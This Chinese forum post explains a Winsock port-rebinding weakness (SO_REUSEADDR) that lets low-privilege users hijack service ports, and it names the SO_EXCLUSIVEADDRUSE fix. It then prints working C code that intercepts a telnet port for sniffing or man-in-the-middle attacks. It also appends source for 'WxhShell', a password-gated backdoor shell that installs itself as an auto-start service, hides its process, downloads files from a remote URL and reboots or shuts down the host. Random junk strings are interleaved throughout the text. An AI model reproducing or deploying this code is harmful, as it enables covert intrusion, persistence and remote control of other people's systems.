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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: J&W)(Cf  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =P't(<  
7z JRJ*NB  
  saddr.sin_family = AF_INET; ^c-  
(l^3Z3zf&  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ,,%i;  
gQ Fjr_IS#  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 7%Gwc?[x  
Xg|B \ \  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 g jDh?I  
 D~S<U  
  这意味着什么?意味着可以进行如下的攻击: )dbB =OZ  
a{^m-fSaR"  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 gQWa24  
hYPl&^  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Pg,b-W?n*  
dJJP3} M/  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 G_bG  
We$:&K0  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  E ~Sb  
,?8qpEG~#+  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ORe(]I`Z  
/uPcXq:L~  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ?Y-%'J(  
LlX{#R  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 eKE#Yr d=x  
JEXy%hl  
  #include l=S35og  
  #include e6@=wnoX u  
  #include r e/@D@%  
  #include    {C=NUK%?  
  DWORD WINAPI ClientThread(LPVOID lpParam);   \F1_lq;K  
  int main() WIC/AL'  
  { 0^I|u t4  
  WORD wVersionRequested; C7lH]`W|/  
  DWORD ret; '\Giv!>  
  WSADATA wsaData; ehzM) uK  
  BOOL val; "c3Grfoz  
  SOCKADDR_IN saddr; 0b+Wc43}K  
  SOCKADDR_IN scaddr; Jj!vh{  
  int err; I4/8 _)b^  
  SOCKET s; IHam4$~-  
  SOCKET sc; QdT}wkX  
  int caddsize; z>58dA@f  
  HANDLE mt; N60rgSzI  
  DWORD tid;   @e(o129  
  wVersionRequested = MAKEWORD( 2, 2 ); +giyX7BPJ  
  err = WSAStartup( wVersionRequested, &wsaData ); {@6= Q 6L  
  if ( err != 0 ) { G`SUxhCk  
  printf("error!WSAStartup failed!\n"); K0-ypU*P  
  return -1; HePUWL'  
  } >80;8\  
  saddr.sin_family = AF_INET; HW3 }uP\c  
   )j9SGLo  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 hL/)|N~  
xSktg]u Se  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); m+`fn;*  
  saddr.sin_port = htons(23); w~(1%p/  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .L9j>iP9 *  
  { mg^I=kpk  
  printf("error!socket failed!\n"); D^yRaP*|7  
  return -1; =5J7Hw&K  
  } :[wsKFaV+  
  val = TRUE; {P*pk c  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 \|H!~)h$1  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) %eX{WgH  
  { zMj#KA1  
  printf("error!setsockopt failed!\n"); 'Y*E<6:  
  return -1; wW7eT~w  
  } f!\lg  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Bc+w+  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 qaY1xPWz"  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ve MH  
/qMG=Z  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) "@%7-nu  
  { 0H6(EzN  
  ret=GetLastError(); i!J8 d"  
  printf("error!bind failed!\n"); S=5<^o^h3  
  return -1; OVm\  
  } |v \_@09=  
  listen(s,2); /xsF90c\h  
  while(1) }+)fMZz  
  { wT;0w3.Z  
  caddsize = sizeof(scaddr); ( }{G`N>.{  
  //接受连接请求 uD\?(LM  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); <v)1<*I  
  if(sc!=INVALID_SOCKET) DK$X2B"cV  
  { JLnH&(O  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); {K+i cTL3  
  if(mt==NULL) (KFCs^x7wG  
  { C<NLE-  
  printf("Thread Creat Failed!\n"); o C<.=2]  
  break; g<l1zo`_  
  } JSkLEa~<  
  } K~c=M",mW  
  CloseHandle(mt);  O{QA  
  } d;zai]]  
  closesocket(s); Wr<j!>J6Ki  
  WSACleanup(); G/b^|;41  
  return 0; wG~`[>y (  
  }   A0o-:n Fu  
  DWORD WINAPI ClientThread(LPVOID lpParam) SG6kud\b  
  { H<VTa? n  
  SOCKET ss = (SOCKET)lpParam; _y),J'W^3u  
  SOCKET sc; tz5e"+Tz  
  unsigned char buf[4096]; W=j[V Oq  
  SOCKADDR_IN saddr; Cbg!:Cws  
  long num; FKIw!m ~  
  DWORD val; f-bVKHt  
  DWORD ret; h}*/Ge]aM  
  //如果是隐藏端口应用的话,可以在此处加一些判断 /j4P9y^]=  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ".W8)  
  saddr.sin_family = AF_INET; <vUbv   
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Z3#P,y9@  
  saddr.sin_port = htons(23); U}6B*Xx'  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6ys &zy  
  { iI\oz&!vH  
  printf("error!socket failed!\n"); [0(B>a3J  
  return -1; N/Z2hn/m  
  } YUx.BZf7  
  val = 100; 419x+3>}  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]^Qn  
  { ?j40} B]]d  
  ret = GetLastError(); >[9J?H  
  return -1; 9{(.Il J>  
  } d9B]fi}  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) I/a/)No  
  { 8D>n1b(H  
  ret = GetLastError(); j"}*T  
  return -1; aNScF  
  } ZG>PQA  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) V,mw[Hw  
  { }j^i}^Du,  
  printf("error!socket connect failed!\n"); N9jH\0nG  
  closesocket(sc); Hw7;;HK 7  
  closesocket(ss); B P2=2)Q  
  return -1; Ka[t75~;  
  } QIB\AAclO  
  while(1) uehDIl0\[b  
  { I/&%]"[^u  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 E8pB;\Z(  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 6{"$nF]  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 fuWO*  
  num = recv(ss,buf,4096,0); A;*d}Xe&J  
  if(num>0) S#MZV@nGF  
  send(sc,buf,num,0); PMN jn9d  
  else if(num==0) )CuZDf@  
  break; N):tOD@B  
  num = recv(sc,buf,4096,0);  Of"  
  if(num>0) %5eY'  
  send(ss,buf,num,0); 2>cGH7EBD  
  else if(num==0) 5 MN8D COF  
  break; +?:7O=Y  
  } z`!XhU  
  closesocket(ss); %K>,xiD)  
  closesocket(sc); }])oM|fgO  
  return 0 ; )\eI;8  
  } %+j8["VEC  
LW[9  
m;'6MHx;  
========================================================== PK{acen  
jF0jkj1&/[  
下边附上一个代码,,WXhSHELL EH256f(&  
gu0j.XS^  
========================================================== \9cG36  
6G #}Q/  
#include "stdafx.h" :+qF8t[L  
l5zS  
#include <stdio.h> *A"~m !=  
#include <string.h> {U1?Et#  
#include <windows.h> Oy%''+g   
#include <winsock2.h> M-1ngI0H;  
#include <winsvc.h> fz\9 S  
#include <urlmon.h> t"= E^r  
2nSSF x r  
#pragma comment (lib, "Ws2_32.lib") >33=<~#n  
#pragma comment (lib, "urlmon.lib") |$vX<. S  
{[+mpKq  
#define MAX_USER   100 // 最大客户端连接数 vhpNpgz  
#define BUF_SOCK   200 // sock buffer Kla'lCZ  
#define KEY_BUFF   255 // 输入 buffer $6mX  
cki81bOT  
#define REBOOT     0   // 重启 >4#)r8;dx  
#define SHUTDOWN   1   // 关机 Y0x%sz 5  
5Ow[~p"l<  
#define DEF_PORT   5000 // 监听端口 vRs,zL$W  
TygW0b 1  
#define REG_LEN     16   // 注册表键长度 K('hC)1  
#define SVC_LEN     80   // NT服务名长度 7J EbH?lEN  
E^vJ@O  
// 从dll定义API \#Pfj &*  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); M}yDXJx  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); M%ICdIc'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ` :o4'CG  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9QDFEYG  
Xc?&_\. +  
// wxhshell配置信息 y~q8pH1  
struct WSCFG { T)H{  
  int ws_port;         // 监听端口 H5Z$*4%G  
  char ws_passstr[REG_LEN]; // 口令 $, ,op(  
  int ws_autoins;       // 安装标记, 1=yes 0=no Jtr"NS?a]  
  char ws_regname[REG_LEN]; // 注册表键名 ~/98Id}v  
  char ws_svcname[REG_LEN]; // 服务名 L3@82yPo!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /J=v]<87a  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~]nSSD)\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;1%-8f:lW  
int ws_downexe;       // 下载执行标记, 1=yes 0=no W3MU1gl6k{  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" wE?'Cl  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 bgK'{_o-  
7R6ry(6N  
}; l)Crc-:}4j  
[co% :xJu  
// default Wxhshell configuration gP0LCK>  
struct WSCFG wscfg={DEF_PORT, G LIi6  
    "xuhuanlingzhe", gk"$,\DI  
    1, c_vqL$Dl  
    "Wxhshell", cc~O&?)i  
    "Wxhshell", Qa-K$dm%  
            "WxhShell Service", sj HrPs e  
    "Wrsky Windows CmdShell Service", _*1`@  
    "Please Input Your Password: ", L)@?e?9  
  1, M<kj_.  
  "http://www.wrsky.com/wxhshell.exe", B56L1^ 7  
  "Wxhshell.exe" !,6c ~ w  
    }; {(r`k;fB  
6)Y.7XR  
// 消息定义模块 -OapVac  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;#vKi0V7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; whi`Z:~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 23Nw!6S  
char *msg_ws_ext="\n\rExit."; ;\14b?TUH  
char *msg_ws_end="\n\rQuit."; ]x(e&fyHB  
char *msg_ws_boot="\n\rReboot...";  |8My42yf  
char *msg_ws_poff="\n\rShutdown..."; u~WVGjoQ  
char *msg_ws_down="\n\rSave to "; 5h Q E4/hH  
TFkZpe;  
char *msg_ws_err="\n\rErr!"; B{'( L |  
char *msg_ws_ok="\n\rOK!"; g^}8:,F_  
u>kN1kQ8  
char ExeFile[MAX_PATH]; 8,? h~prc  
int nUser = 0; {q `jDDM  
HANDLE handles[MAX_USER]; +yk24 ` >  
int OsIsNt; e=B|==E10M  
6L"%e!be6  
SERVICE_STATUS       serviceStatus; Z0Vl+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Y]/% t{Y  
, udTvI  
// 函数声明 }bdmomV  
int Install(void); 2O.i\cH  
int Uninstall(void); ] 6TATPIr  
int DownloadFile(char *sURL, SOCKET wsh); ms*(9l.hOK  
int Boot(int flag); _kU:Z  
void HideProc(void); o<COm9)i  
int GetOsVer(void); 0K`#>}W#X  
int Wxhshell(SOCKET wsl); amOnqH-(  
void TalkWithClient(void *cs); :,'wVS8"]  
int CmdShell(SOCKET sock); BG6B :  
int StartFromService(void); OY;*zk  
int StartWxhshell(LPSTR lpCmdLine); Gd-'Z_b  
~Y|*`C_)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @mw5~+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); k <=//r  
[AYOYENp-  
// 数据结构和表定义 k1{K*O$e  
SERVICE_TABLE_ENTRY DispatchTable[] = wt!nMQ  
{ lDYyqG4  
{wscfg.ws_svcname, NTServiceMain}, VF?<{F  
{NULL, NULL} Y }$/e  
}; ow_W%I=6  
{2=jAz'?  
// 自我安装 ;<Ar=?  
int Install(void) 9x>d[-#y:J  
{ -likj# Z  
  char svExeFile[MAX_PATH]; Sjv dirr  
  HKEY key; 1.D,W1s  
  strcpy(svExeFile,ExeFile); :N4t49i  
LBM ^9W  
// 如果是win9x系统,修改注册表设为自启动 :.Jf0  
if(!OsIsNt) { V^3L3|k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \m(VdE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2R;}y7{  
  RegCloseKey(key); @D{KdyW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { PsnWWj?c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D^l%{IG   
  RegCloseKey(key); $8 UUzk  
  return 0; 3Z5D)zuc  
    } j27?w<  
  } `j,Yb]~s79  
} x3 q]I8q  
else { O_wEcJPE  
OSs&r$  
// 如果是NT以上系统,安装为系统服务 :Av#j@#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7"sD5N/>uh  
if (schSCManager!=0) q8/MMKCbX  
{ t&H?\)!4  
  SC_HANDLE schService = CreateService 5ymk\Lw  
  ( 7gj4j^a^]{  
  schSCManager, AgS 7J(^&3  
  wscfg.ws_svcname, 4]?<hH9  
  wscfg.ws_svcdisp, a%kQl^I4  
  SERVICE_ALL_ACCESS, gp>3I!bo[K  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +x0!*3q  
  SERVICE_AUTO_START, L^}_~PO N5  
  SERVICE_ERROR_NORMAL, iII=;:p  
  svExeFile, -w9pwB  
  NULL, Q.l}NtHwV  
  NULL, SxOC1+Oy  
  NULL, TW)c#P43K  
  NULL, (s.0P O`  
  NULL ,\_1w  
  ); ,K9*%rW)  
  if (schService!=0) 8K:y\1  
  { lAb*fafQy  
  CloseServiceHandle(schService); 2oVSn"  
  CloseServiceHandle(schSCManager); '[AlhBX  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); w>pq+og&  
  strcat(svExeFile,wscfg.ws_svcname); ED=V8';D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { XGYbnZ~   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); RL!Oi|8  
  RegCloseKey(key); )J2mM  
  return 0; t;W0"ci9  
    } \.MR""@y`{  
  } `[f*Zv w  
  CloseServiceHandle(schSCManager); 39:bzUIF  
} ?9e_gV{&;  
} O_ `VV*  
1eS&&J5  
return 1; IpYM;tYw&  
} e?0l"  
Q6PHpaj  
// 自我卸载 4!Fo$9  
int Uninstall(void) NjVYLn<.r  
{ '@o;-'b  
  HKEY key; ]<ldWL  
}AB, 8n`  
if(!OsIsNt) { ~IYUuWF(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { - Ajo9H  
  RegDeleteValue(key,wscfg.ws_regname); ] eotc2?u  
  RegCloseKey(key); r)y=lAyF>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bo2H]PL*  
  RegDeleteValue(key,wscfg.ws_regname); =bfJ^]R  
  RegCloseKey(key); B^4&-z2|  
  return 0; E{XH?_xo  
  } |XQIfW]A  
} 'GNK"XA^  
} +ieY:H[  
else { uGwm r  
6a[}'/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \H1( PA  
if (schSCManager!=0) u_@f$  
{ o} J&E{Tk  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); s^Y"'`+  
  if (schService!=0) $Q&lSVQ  
  { ")SFi^]  
  if(DeleteService(schService)!=0) { T1ut"Zu  
  CloseServiceHandle(schService); KI)M JG:t  
  CloseServiceHandle(schSCManager); ) pzy  
  return 0; Fq0i`~L~  
  } dMh:ulIY>  
  CloseServiceHandle(schService); 3eb%OEMYk  
  } 2L3)#22m*  
  CloseServiceHandle(schSCManager); /5S30 |K  
} sd*p/Q|4  
} h k] N6+@  
6.sx?YYM  
return 1; i+A3~w5c  
} ~-ia+A6GIV  
]^yFaTfS  
// 从指定url下载文件 }q_<_lQ  
int DownloadFile(char *sURL, SOCKET wsh) 1Ir21un  
{ v:IpMU-+\  
  HRESULT hr; p2#)A"  
char seps[]= "/"; p)`{Sos  
char *token; yMG1XEhuG  
char *file; (ceNO4"cZ  
char myURL[MAX_PATH]; X3{G:H0\p  
char myFILE[MAX_PATH]; yQ U{ zY  
WA5&# kg\  
strcpy(myURL,sURL); /NLui@|R  
  token=strtok(myURL,seps); h{CL{>d  
  while(token!=NULL) =#;3Q~:Jl^  
  { \K5DOM "#  
    file=token; nL5cK:  
  token=strtok(NULL,seps); C uFSeRe  
  } UbXh,QEG*  
5&QJ7B,!  
GetCurrentDirectory(MAX_PATH,myFILE); pV9IHs}  
strcat(myFILE, "\\"); &q3"g*q  
strcat(myFILE, file); FEW14 U'O  
  send(wsh,myFILE,strlen(myFILE),0);  DGRXd#  
send(wsh,"...",3,0); )B T   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); T/b6f;t-s  
  if(hr==S_OK) 6"wlg!k8  
return 0; /z4$gb7Y  
else IoxgjUa  
return 1; I5`4Al  
L5Ebc#  
} SzAJ2:qhl  
! +a. Ei  
// 系统电源模块 y=fx%~<> 8  
int Boot(int flag) G/k2Pe{SL  
{ vleS2-]|  
  HANDLE hToken; XeW<B0~  
  TOKEN_PRIVILEGES tkp; !<j'Ea  
|nc@"OJ  
  if(OsIsNt) { %>yG+Od5Z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  w^?>e;/\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /$ w%Q-p  
    tkp.PrivilegeCount = 1; Ok|*!!T  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8hu<E4]L  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Dl<bnx;0  
if(flag==REBOOT) { @D.}\(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) AS!?q  
  return 0; ./- 5R|fN  
} ]GMe \n  
else { jfP*"uUK  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) rxe >}ZO  
  return 0; ,-$LmECg  
} ,g%0`SO  
  } D60aH!ft  
  else { cm&nd'A't  
if(flag==REBOOT) { ; ^*}#X d  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) y0{u<"t%w  
  return 0; )fFb_U  
} :yL] ;J  
else { ed]=\Key  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) i@C].X  
  return 0; Pnk5mK$  
} yg `j-9[8  
} {}>0e:51  
z#zI1Am(O  
return 1; NvD7Krqwa  
} Qk0R a_  
V3 9g,=`b%  
// win9x进程隐藏模块 ?[VM6- &  
void HideProc(void) -j+UMlkB  
{ 4~ q5,^kgB  
[^R^8k  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Gk. ruQW"  
  if ( hKernel != NULL ) XtXEB<4Z  
  { 8Ry3`ct  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &x=.$76  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); F<ZYh  
    FreeLibrary(hKernel); [/,)  
  } 7G:s2432  
AhCW'.  
return; g9m-TkNk  
} 10G}{  
h(<,fg1  
// 获取操作系统版本 /vY(o1o x  
int GetOsVer(void) _- [''(E  
{ o906/5M  
  OSVERSIONINFO winfo; bH-ub2@qO  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); P#E&|n7DT  
  GetVersionEx(&winfo); Yab%/z2:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _A M*@|p,  
  return 1; 9 3U_tQ&1?  
  else A|CmlAW~^  
  return 0; BIb4h   
} $Ad{Z  
Eav[/cU  
// 客户端句柄模块 2`AY~i9  
int Wxhshell(SOCKET wsl) QsGiclU  
{ 3RiWZN  
  SOCKET wsh; iMt:9|yF}8  
  struct sockaddr_in client; pe0F0Ruy  
  DWORD myID; f& 0M*o,)  
qsF<!'m7`  
  while(nUser<MAX_USER) wJg1Y0nh  
{ W$QcDp]#p}  
  int nSize=sizeof(client); [NQOrcAQ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $[9%QQk5<L  
  if(wsh==INVALID_SOCKET) return 1; PUz*!9HC  
ZufR {^W  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); OGBHos  
if(handles[nUser]==0) "HX<,l8f%  
  closesocket(wsh); Qf58ig-vCY  
else ];}Wfl  
  nUser++; Q;MT"=RW  
  } t$ +?6E  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @M<|:Z %.@  
yTyj'-4  
  return 0; cO-7ke  
} ".f ;+wH  
xpNH?#&  
// 关闭 socket u=Fv 2  
void CloseIt(SOCKET wsh) :fKl]XO  
{ <i<J^-W  
closesocket(wsh); :KH g&ZX7  
nUser--; \/E>4)MDy  
ExitThread(0); B*qi_{Gp  
} Pih tf4i  
!y#"l$"xK  
// 客户端请求句柄 sD<a+Lw}x  
void TalkWithClient(void *cs) ZjT,pOSyb  
{ []x#iOnC&  
oYHj~t  
  SOCKET wsh=(SOCKET)cs; XoXM ^*Vk  
  char pwd[SVC_LEN];  ,t}vz 7  
  char cmd[KEY_BUFF]; -_ I _W&  
char chr[1]; kM!kD4&  
int i,j; d; [C6d  
?8HHA: GP  
  while (nUser < MAX_USER) { %/EVUN9=  
/TE_W@?^  
if(wscfg.ws_passstr) { U T>s 5C  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T _M!<J  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); JgG$?n\  
  //ZeroMemory(pwd,KEY_BUFF); .R`5 Qds*l  
      i=0; 5NBV[EP  
  while(i<SVC_LEN) { #XK2Ien)Z  
M-\Y"]sW  
  // 设置超时 ]5BX :%  
  fd_set FdRead; sPd Gw~{  
  struct timeval TimeOut; ,"2s`YC  
  FD_ZERO(&FdRead); siXr;/n"  
  FD_SET(wsh,&FdRead); :#2Bw]z&z  
  TimeOut.tv_sec=8; eeIhed9  
  TimeOut.tv_usec=0; /{|EAd{  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 832v"k CD  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,/[6e\0~  
rMXN[,|v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6Vww;1 J  
  pwd=chr[0]; <wZQc  
  if(chr[0]==0xd || chr[0]==0xa) { =5aDM\L$&  
  pwd=0; so PLA68  
  break; ]&?Y~"{cD  
  } 3WN`y8l  
  i++; "rTQG6`  
    } F8hw #!Aq  
XttqO f  
  // 如果是非法用户,关闭 socket KuWWUjCE  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -7m:91x  
} !GOM5z,  
EJ@?h(O  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); c/Qt Ot  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J~=n`pW  
>oea{u  
while(1) { )S`jFQ1  
yphS'AG  
  ZeroMemory(cmd,KEY_BUFF); ^L0d/,ik  
)i q-yjO6  
      // 自动支持客户端 telnet标准   j0Bu-sO$w  
  j=0; YNYx>Ue  
  while(j<KEY_BUFF) { og4UhP^UET  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dG@"!!,  
  cmd[j]=chr[0]; U QE qX  
  if(chr[0]==0xa || chr[0]==0xd) { u?>B)PW  
  cmd[j]=0; R,)}>X|<  
  break; Xm+8  
  } 'iy*^A `Y  
  j++; Nb?w|Ne(T  
    } CxGx8*<X  
vK(i 9>;7  
  // 下载文件 5pU2|Bk /  
  if(strstr(cmd,"http://")) { ~i@Y|38C  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -D xL0:E  
  if(DownloadFile(cmd,wsh)) -<Hu!V`+  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); C(S'#cm  
  else 1<+2kBuY  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kR]!Vr*yh  
  } ?!wgH9?8  
  else { ktnuNsp  
m1n.g4Z&*  
    switch(cmd[0]) { W-Fu-Cz=  
  ZPc@Zr`z  
  // 帮助 Wf>zDW^"R  
  case '?': { lJ+0P2@h*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); x8!ol2\`<  
    break; ^BUYjq%(`  
  } c;{Q,"9U  
  // 安装 yvgrIdEP  
  case 'i': { )Y]{HQd  
    if(Install()) UUF ;p2{f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ub7zA!%  
    else 6UevpDB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); df*5,NV'-*  
    break; iQ4);du  
    } cKN$ =gd  
  // 卸载 ex+\nD>t4  
  case 'r': { GFfq+=se  
    if(Uninstall()) o]Ol8I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D,;\o7V  
    else MepuIh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !icT/5  
    break; iZPCNS"  
    } V~S0hqW[  
  // 显示 wxhshell 所在路径 0OT\"O~S[  
  case 'p': { ~ns7O  
    char svExeFile[MAX_PATH]; T(AVlI6  
    strcpy(svExeFile,"\n\r"); klQC2drS  
      strcat(svExeFile,ExeFile); iS&l8@2a  
        send(wsh,svExeFile,strlen(svExeFile),0); )>b.;  
    break; jAy^J(+  
    } 3ia^\ jw  
  // 重启 ?I/qE='*  
  case 'b': { z>jUR,!GT  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }K1JU`Lz  
    if(Boot(REBOOT)) ikSF)r;*t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $B kubWM  
    else { WJNl5^  
    closesocket(wsh); N;Dni#tQ`  
    ExitThread(0); z^_*&  
    } `Q+ (LBP  
    break; s"9`s_p`d  
    } I&MY{f  
  // 关机 a\IP12F?  
  case 'd': { *5 |)-E  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); u)3 $~m~  
